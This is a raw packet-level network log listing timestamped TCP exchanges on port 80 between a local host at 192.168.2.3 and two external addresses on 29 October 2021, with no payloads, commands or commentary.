Oct 29, 2021 14:11:01.611471891 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611510038 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611524105 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611552000 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611587048 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611615896 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611632109 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611655951 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611680031 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611694098 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611742973 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611747980 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611790895 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611841917 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611850023 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.611880064 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.611943007 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.654392958 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.654439926 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.654480934 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.654495001 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.654521942 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.654654026 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.886909008 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887018919 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887061119 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887084007 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887099028 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887140036 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887154102 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887191057 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887233019 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887240887 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887273073 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887310028 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887325048 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887347937 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887384892 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887403965 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887423038 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887460947 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887475014 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887500048 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887537956 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887552023 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887577057 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887615919 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887624979 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887653112 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887691021 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887697935 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887728930 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887767076 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887782097 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887808084 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887844086 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887861013 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887881994 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887919903 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887933969 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.887958050 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.887995958 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888005018 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888035059 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888072968 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888086081 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888112068 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888149977 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888168097 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888189077 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888226986 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888241053 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888264894 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888303041 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888310909 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888345003 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888386011 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888392925 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888433933 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888470888 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888483047 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888509035 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888546944 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888554096 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888583899 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888621092 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888628960 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888659000 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888699055 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888732910 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888741970 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888799906 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888803005 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888905048 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888945103 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.888967037 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.888984919 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889023066 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889035940 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889074087 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889113903 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889123917 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889154911 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889190912 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889204979 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889239073 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889281034 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889285088 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889319897 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889359951 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889365911 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889398098 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889436007 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889451027 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889475107 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889503002 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889533043 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889569998 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889573097 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889596939 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889612913 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889656067 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889658928 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889708996 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889749050 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889756918 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889787912 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889826059 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889847994 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889864922 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889900923 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889916897 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.889940023 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889976978 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.889990091 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890017033 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890065908 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890067101 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890106916 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890145063 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890157938 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890183926 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890219927 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890233040 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890261889 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890305996 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890317917 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890347004 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890387058 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890393972 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890424013 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890463114 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890476942 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890501022 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890538931 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890546083 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890577078 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890615940 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890629053 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.890655041 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890693903 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.890702963 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.929260015 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.929373026 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.929465055 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.929513931 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.929552078 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.929567099 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.929591894 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.929629087 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.929644108 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.929668903 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.929707050 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:01.929719925 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:01.982475042 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.041759014 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.109065056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.109194994 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.111635923 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.111660957 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.164942026 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.164999962 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165038109 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165055037 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165076971 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165117025 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165124893 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165155888 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165194988 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165206909 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165234089 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165273905 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165277958 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165313959 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165350914 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165358067 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165390015 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165429115 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165441036 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165467024 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165504932 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165508986 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165544033 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165582895 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165585995 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165621996 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165658951 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165673018 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165699959 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165738106 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165743113 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165776014 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165817022 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165821075 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165854931 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165894032 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165901899 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.165936947 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165973902 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.165986061 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166013956 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166052103 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166059017 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166089058 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166126966 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166131020 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166165113 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166204929 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166212082 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166245937 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166282892 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166289091 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166321993 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166359901 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166368961 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166398048 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166435957 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166440964 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166474104 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166512012 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166517973 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166553020 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166589975 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166598082 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166630030 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166667938 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166675091 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166704893 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166743040 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166747093 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166780949 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166822910 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166826010 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166862965 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166898966 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166910887 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.166938066 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166976929 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.166984081 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167013884 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167054892 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167059898 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167093992 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167133093 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167140007 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167171955 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167208910 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167222023 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167248964 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167287111 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167293072 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167324066 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167361975 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167366028 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167399883 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167438984 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167443037 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167478085 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167515039 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167526007 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167552948 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167591095 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167603016 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167628050 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167665958 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167671919 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167704105 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167742014 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167754889 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167782068 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167819023 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167830944 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167857885 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167895079 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167901039 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.167932034 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167969942 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.167973995 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.168008089 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.168045998 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.168057919 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.168085098 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.168123007 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.168129921 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.168158054 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.168200970 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.179260969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.179296970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.202955961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203006029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203042984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203083038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203094006 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.203120947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203133106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.203160048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203197956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203213930 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.203236103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203274965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203289986 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.203314066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.203368902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.270399094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270454884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270494938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270529032 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.270534992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270571947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270582914 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.270610094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270648956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270663977 CEST	50094	80	192.168.2.3	193.56.146.214
